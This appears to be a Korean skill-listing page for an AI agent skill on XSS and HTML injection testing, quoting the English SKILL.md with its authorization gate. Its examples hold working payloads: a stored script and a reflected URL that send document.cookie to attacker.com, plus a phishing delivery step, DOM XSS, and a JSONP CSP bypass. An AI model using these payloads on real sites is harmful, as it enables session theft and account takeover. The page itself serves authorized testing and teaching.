xss-html-injection
하는 일
이 도구는 웹사이트에 공격자가 정보를 훔치거나 사용자 계정을 조종할 수 있는 보안 결함이 있는지 확인하도록 돕습니다. 흔한 공격을 시뮬레이션해 이런 취약점을 찾습니다.
사용하는 경우
- ✓분석 허가를 받은 웹사이트를 테스트할 때.
- ✓통제된 환경에서 보안 결함이 어떻게 작동하는지 배울 때.
- ✓웹사이트의 공격 방어가 올바르게 작동하는지 확인하는 경우.
스킬 링크
https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/xss-html-injection/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“‘example.com’ 웹사이트에 XSS와 HTML 인젝션 결함이 있는지 확인하고 싶어요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
도구는 위장된 악성 코드를 웹사이트에 보내고 반응을 관찰합니다. 웹사이트가 그 코드를 표시하거나 실행하면 보안 취약점이 있을 수 있습니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Cross-Site Scripting and HTML Injection Testing
Detailed Guide
Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.
Constraints and Guardrails
Operational Boundaries
- Never inject payloads that could damage production systems
- Limit cookie/session capture to demonstration purposes only
- Avoid payloads that could spread to unintended users (worm behavior)
- Do not exfiltrate real user data beyond scope requirements
Technical Limitations
- Content Security Policy (CSP) may block inline scripts
- HttpOnly cookies prevent JavaScript access
- SameSite cookie attributes limit cross-origin attacks
- Modern frameworks often auto-escape outputs
Legal and Ethical Requirements
- Written authorization required before testing
- Report critical XSS vulnerabilities immediately
- Handle captured credentials per data protection agreements
- Do not use discovered vulnerabilities for unauthorized access
Examples
Example 1: Stored XSS in Comment Section
Scenario: Blog comment feature vulnerable to stored XSS
Detection:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
Observation: Comment renders and script executes for all viewers
Exploitation Payload:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Result: Every user viewing the comment has their session cookie sent to attacker's server.
Example 2: Reflected XSS via Search Parameter
Scenario: Search results page reflects query without encoding
Vulnerable URL:
https://shop.example.com/search?q=test
Detection Test:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
Crafted Attack URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
Delivery: URL sent via phishing email to target user.
Example 3: DOM-Based XSS via Hash Fragment
Scenario: JavaScript reads URL hash and inserts into DOM
Vulnerable Code:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
Attack URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
Result: Script executes entirely client-side; payload never touches server.
Example 4: CSP Bypass via JSONP Endpoint
Scenario: Site has CSP but allows trusted CDN
CSP Header:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
Bypass: Find JSONP endpoint on trusted domain:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
Result: CSP bypassed using allowed script source.
When to Use
This skill is applicable to execute the workflow or actions described in the overview.
자주 묻는 질문
XSS란 무엇인가요?
XSS(Cross-Site Scripting)는 공격자가 신뢰받는 웹사이트에 악성 스크립트를 삽입해, 다른 사용자의 브라우저에서 실행되도록 하는 공격입니다.
HTML 인젝션이란 무엇인가요?
공격자가 웹 페이지에 HTML 코드를 삽입해 내용이나 동작을 악의적으로 바꾸는 공격입니다.
이 도구를 사용하려면 허가가 필요한가요?
네, 테스트를 하기 전에 웹사이트 소유자의 명시적인 서면 허가가 필요합니다. 허가 없이 사용하면 불법입니다.
상세 정보
작성자의 원본 설명
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.
인기도
- GitHub 스타
- 48k
- 순위
- #6218
- 라이선스
- MIT
- 업데이트
- 2026. 10. 15.
댓글
- …
이 저장소의 다른 스킬
00-andruia-consultant
48k에이전트가 AI 프로젝트를 시작하거나 개선할 수 있도록 코드를 분석하고 스페인어로 실행 계획을 세워 줍니다.
007
48k에이전트가 보안 감사와 위협 모델링을 수행해 공격과 취약점으로부터 프로젝트를 보호하도록 돕습니다.
10-andruia-skill-smith
48k에이전트가 AI 도구의 작동 방식을 정의하고 문서를 쓰며 구조를 검증하도록 돕습니다.
20-andruia-niche-intelligence
48k에이전트가 신뢰할 수 있는 자료를 바탕으로 특정 산업의 맥락, 규칙, 사용 패턴, 위험을 정리한 요약을 만들도록 돕습니다.